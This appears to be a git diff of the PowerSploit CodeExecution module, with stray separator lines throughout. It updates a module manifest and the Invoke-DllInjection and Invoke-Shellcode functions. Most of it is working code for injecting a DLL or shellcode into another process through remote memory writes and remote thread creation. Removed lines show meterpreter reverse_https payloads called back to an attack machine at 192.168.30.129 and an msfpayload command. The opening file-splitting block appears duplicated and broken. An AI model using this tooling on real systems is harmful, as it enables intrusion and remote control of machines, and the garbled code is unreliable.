[Int32] $i = 0
|
||||
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
|
||||
{
|
||||
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
|
||||
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
|
||||
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
|
||||
|
||||
Write-Verbose "Byte 0 -> $($SplitByte)"
|
||||
|
||||
#Reset ReadStream to beginning of file
|
||||
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
|
||||
#Build a new FileStream for Writing
|
||||
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
|
||||
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
|
||||
|
||||
[Int32] $BytesLeft = $SplitByte
|
||||
Write-Verbose "$($WriteStream.name)"
|
||||
|
||||
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
|
||||
while ($BytesLeft -gt $BufferLen){
|
||||
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
|
||||
$WriteStream.Write($ReadBuffer, 0, $count)
|
||||
$BytesLeft = $BytesLeft - $count
|
||||
}
|
||||
Write-Verbose "Files written to disk. Flushing memory."
|
||||
$ReadStream.Dispose()
|
||||
|
||||
#During testing using large binaries, memory usage was excessive so lets fix that
|
||||
[System.GC]::Collect()
|
||||
Write-Verbose "Completed!"
|
||||
}
|
||||
|
||||
#Write the remaining bytes to the file
|
||||
do {
|
||||
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
|
||||
$WriteStream.Write($ReadBuffer, 0, $count)
|
||||
$BytesLeft = $BytesLeft - $count
|
||||
}
|
||||
until ($BytesLeft -eq 0)
|
||||
$WriteStream.Close()
|
||||
$WriteStream.Dispose()
|
||||
}
|
||||
Write-Verbose "Files written to disk. Flushing memory."
|
||||
$ReadStream.Dispose()
|
||||
|
||||
#During testing using large binaries, memory usage was excessive so lets fix that
|
||||
[System.GC]::Collect()
|
||||
Write-Verbose "Completed!"
|
||||
}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
@{
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'CodeExecution.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '1.0.0.0'
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
|
||||
@@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module'
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Name of the Windows PowerShell host required by this module
|
||||
# PowerShellHostName = ''
|
||||
|
||||
# Minimum version of the Windows PowerShell host required by this module
|
||||
# PowerShellHostVersion = ''
|
||||
|
||||
# Minimum version of the .NET Framework required by this module
|
||||
# DotNetFrameworkVersion = ''
|
||||
|
||||
# Minimum version of the common language runtime (CLR) required by this module
|
||||
# CLRVersion = ''
|
||||
|
||||
# Processor architecture (None, X86, Amd64) required by this module
|
||||
# ProcessorArchitecture = ''
|
||||
|
||||
# Modules that must be imported into the global environment prior to importing this module
|
||||
# RequiredModules = @()
|
||||
|
||||
# Assemblies that must be loaded prior to importing this module
|
||||
# RequiredAssemblies = @()
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||
# ScriptsToProcess = ''
|
||||
|
||||
# Type files (.ps1xml) to be loaded when importing this module
|
||||
# TypesToProcess = @()
|
||||
|
||||
# Format files (.ps1xml) to be loaded when importing this module
|
||||
# FormatsToProcess = @()
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
# NestedModules = @()
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# Cmdlets to export from this module
|
||||
CmdletsToExport = '*'
|
||||
|
||||
# Variables to export from this module
|
||||
VariablesToExport = ''
|
||||
|
||||
# Aliases to export from this module
|
||||
AliasesToExport = ''
|
||||
|
||||
# List of all modules packaged with this module.
|
||||
ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
|
||||
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Watch-BlueScreen.ps1', 'Usage.md'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
||||
# HelpInfo URI of this module
|
||||
# HelpInfoURI = ''
|
||||
|
||||
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||
# DefaultCommandPrefix = ''
|
||||
|
||||
}
|
||||
'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
|
||||
}
|
||||
|
||||
@@ -1 +1 @@
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
|
||||
@@ -5,15 +5,19 @@ function Invoke-DllInjection
|
||||
|
||||
Injects a Dll into the process ID of your choosing.
|
||||
|
||||
PowerSploit Function: Invoke-DllInjection
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
PowerSploit Function: Invoke-DllInjection
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-DllInjection injects a Dll into an arbitrary process.
|
||||
It does this by using VirtualAllocEx to allocate memory the size of the
|
||||
DLL in the remote process, writing the names of the DLL to load into the
|
||||
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
|
||||
to invoke LoadLibraryA in the context of the remote process.
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
@@ -25,7 +29,7 @@ Name of the dll to inject. This can be an absolute or relative path.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
|
||||
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
|
||||
|
||||
Description
|
||||
-----------
|
||||
@@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information.
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[Int]
|
||||
@@ -59,7 +65,7 @@ http://www.exploit-monday.com
|
||||
{
|
||||
Throw "Process does not exist!"
|
||||
}
|
||||
|
||||
|
||||
# Confirm that the path to the dll exists
|
||||
try
|
||||
{
|
||||
@@ -79,11 +85,11 @@ http://www.exploit-monday.com
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
@@ -98,7 +104,7 @@ http://www.exploit-monday.com
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
@@ -107,11 +113,11 @@ http://www.exploit-monday.com
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
@@ -128,7 +134,7 @@ http://www.exploit-monday.com
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
@@ -142,43 +148,43 @@ http://www.exploit-monday.com
|
||||
[String]
|
||||
$Path
|
||||
)
|
||||
|
||||
|
||||
# Parse PE header to see if binary was compiled 32 or 64-bit
|
||||
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
|
||||
|
||||
|
||||
[Byte[]] $MZHeader = New-Object Byte[](2)
|
||||
$FileStream.Read($MZHeader,0,2) | Out-Null
|
||||
|
||||
|
||||
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
|
||||
if ($Header -ne 'MZ')
|
||||
{
|
||||
$FileStream.Close()
|
||||
Throw 'Invalid PE header.'
|
||||
}
|
||||
|
||||
|
||||
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
|
||||
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
|
||||
|
||||
[Byte[]] $lfanew = New-Object Byte[](4)
|
||||
|
||||
|
||||
# Read offset to the PE Header (will be read in reverse)
|
||||
$FileStream.Read($lfanew,0,4) | Out-Null
|
||||
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
|
||||
|
||||
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
|
||||
|
||||
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
|
||||
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
|
||||
|
||||
|
||||
# Read compiled architecture
|
||||
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
|
||||
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
|
||||
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
|
||||
$FileStream.Close()
|
||||
|
||||
|
||||
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
|
||||
{
|
||||
Throw 'Invalid PE header or unsupported architecture.'
|
||||
}
|
||||
|
||||
|
||||
if ($Architecture -eq '014C')
|
||||
{
|
||||
Write-Output 'X86'
|
||||
@@ -193,7 +199,7 @@ http://www.exploit-monday.com
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Get addresses of and declare delegates for essential Win32 functions.
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
@@ -207,16 +213,13 @@ http://www.exploit-monday.com
|
||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||||
$RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
|
||||
$RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
|
||||
$RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
# Assume CPU to be 64-bit unless determined otherwise.
|
||||
$64bitCPU = $True
|
||||
|
||||
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
@@ -227,6 +230,12 @@ http://www.exploit-monday.com
|
||||
$PowerShell32bit = $False
|
||||
}
|
||||
|
||||
if (${Env:ProgramFiles(x86)}) {
|
||||
$64bitOS = $True
|
||||
} else {
|
||||
$64bitOS = $False
|
||||
}
|
||||
|
||||
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
|
||||
@@ -235,23 +244,20 @@ http://www.exploit-monday.com
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
}
|
||||
else
|
||||
{
|
||||
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
|
||||
$64bitCPU = $False
|
||||
}
|
||||
|
||||
$Architecture = Get-PEArchitecture $Dll
|
||||
|
||||
Write-Verbose "Architecture of the dll to be injected: $Architecture"
|
||||
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
THrow 'Unable to open process handle.'
|
||||
Throw 'Unable to open process handle.'
|
||||
}
|
||||
|
||||
$Architecture = Get-PEArchitecture $Dll
|
||||
|
||||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||||
if ($64bitOS) # Only perform theses checks if OS is 64-bit
|
||||
{
|
||||
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
|
||||
{
|
||||
@@ -293,7 +299,7 @@ http://www.exploit-monday.com
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
|
||||
if ($RemoteMemAddr -eq [IntPtr]::Zero)
|
||||
{
|
||||
Throw 'Unable to allocate memory in remote process.'
|
||||
Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
|
||||
}
|
||||
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
@@ -302,27 +308,29 @@ http://www.exploit-monday.com
|
||||
Write-Verbose "Dll path written sucessfully."
|
||||
|
||||
# Execute dll as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle)
|
||||
$Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
|
||||
if ($Result)
|
||||
{
|
||||
Throw 'Unable to launch remote thread.'
|
||||
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
|
||||
}
|
||||
|
||||
|
||||
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
Write-Verbose 'Dll injection complete!'
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
# Extract just the filename from the provided path to the dll.
|
||||
$FileName = Split-Path $Dll -Leaf
|
||||
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
|
||||
$FileName = (Split-Path $Dll -Leaf).ToLower()
|
||||
$DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) }
|
||||
|
||||
if (!$DllInfo)
|
||||
{
|
||||
Throw "Dll did dot inject properly into the victim process."
|
||||
}
|
||||
|
||||
Write-Verbose "Injected DLL information:$($DllInfo)"
|
||||
}
|
||||
Write-Verbose 'Dll injection complete!'
|
||||
|
||||
$DllInfo
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -5,22 +5,22 @@ function Invoke-Shellcode
|
||||
|
||||
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
|
||||
|
||||
PowerSploit Function: Invoke-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
PowerSploit Function: Invoke-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||||
|
||||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||||
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
|
||||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
|
||||
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Process ID of the process you want to inject shellcode into.
|
||||
@@ -29,33 +29,13 @@ Process ID of the process you want to inject shellcode into.
|
||||
|
||||
Specifies an optional shellcode passed in as a byte array
|
||||
|
||||
.PARAMETER ListMetasploitPayloads
|
||||
|
||||
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
|
||||
|
||||
.PARAMETER Lhost
|
||||
|
||||
Specifies the IP address of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Lport
|
||||
|
||||
Specifies the port of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Payload
|
||||
|
||||
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
|
||||
|
||||
.PARAMETER UserAgent
|
||||
|
||||
Optionally specifies the user agent to use when using meterpreter http or https payloads
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -ProcessId 4274
|
||||
Invoke-Shellcode -ProcessId 4274
|
||||
|
||||
Description
|
||||
-----------
|
||||
@@ -63,7 +43,7 @@ Inject shellcode into process ID 4274.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode
|
||||
Invoke-Shellcode
|
||||
|
||||
Description
|
||||
-----------
|
||||
@@ -71,135 +51,34 @@ Inject shellcode into the running instance of PowerShell.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
|
||||
C:\PS> $Proc = Get-Process notepad
|
||||
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
|
||||
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
|
||||
VERBOSE: Injecting shellcode into PID: 4004
|
||||
VERBOSE: Injecting into a Wow64 process.
|
||||
VERBOSE: Using 32-bit shellcode.
|
||||
VERBOSE: Shellcode memory reserved at 0x03BE0000
|
||||
VERBOSE: Emitting 32-bit assembly call stub.
|
||||
VERBOSE: Thread call stub memory reserved at 0x001B0000
|
||||
VERBOSE: Shellcode injection complete!
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 443 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_http):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 80 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
|
||||
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
|
||||
|
||||
Payloads
|
||||
--------
|
||||
windows/meterpreter/reverse_http
|
||||
windows/meterpreter/reverse_https
|
||||
|
||||
.NOTES
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
|
||||
|
||||
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'RunLocal' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateSet( 'windows/meterpreter/reverse_http',
|
||||
'windows/meterpreter/reverse_https',
|
||||
IgnoreCase = $True )]
|
||||
[String]
|
||||
$Payload = 'windows/meterpreter/reverse_http',
|
||||
|
||||
[Parameter( ParameterSetName = 'ListPayloads' )]
|
||||
[Switch]
|
||||
$ListMetasploitPayloads,
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Lhost = '127.0.0.1',
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateRange( 1,65535 )]
|
||||
[Int]
|
||||
$Lport = 8443,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNull()]
|
||||
[String]
|
||||
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
|
||||
|
||||
[Switch]
|
||||
$Force = $False
|
||||
)
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
||||
[CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')]
|
||||
Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'RunLocal' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode,
|
||||
|
||||
[Switch]
|
||||
$Force = $False
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
# List all available Metasploit payloads and exit the function
|
||||
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
|
||||
{
|
||||
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
|
||||
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
|
||||
|
||||
foreach ($Payload in $AvailablePayloads.ValidValues)
|
||||
{
|
||||
New-Object PSObject -Property @{ Payloads = $Payload }
|
||||
}
|
||||
|
||||
Return
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
@@ -207,17 +86,17 @@ http://www.exploit-monday.com
|
||||
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
}
|
||||
|
||||
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
@@ -232,7 +111,7 @@ http://www.exploit-monday.com
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
@@ -241,11 +120,11 @@ http://www.exploit-monday.com
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
@@ -262,7 +141,7 @@ http://www.exploit-monday.com
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
@@ -277,12 +156,12 @@ http://www.exploit-monday.com
|
||||
$LittleEndianByteArray = New-Object Byte[](0)
|
||||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||||
[System.Array]::Reverse($LittleEndianByteArray)
|
||||
|
||||
|
||||
Write-Output $LittleEndianByteArray
|
||||
}
|
||||
|
||||
|
||||
$CallStub = New-Object Byte[](0)
|
||||
|
||||
|
||||
if ($IntSizePtr -eq 8)
|
||||
{
|
||||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||||
@@ -303,7 +182,7 @@ http://www.exploit-monday.com
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
}
|
||||
|
||||
|
||||
Write-Output $CallStub
|
||||
}
|
||||
|
||||
@@ -311,7 +190,7 @@ http://www.exploit-monday.com
|
||||
{
|
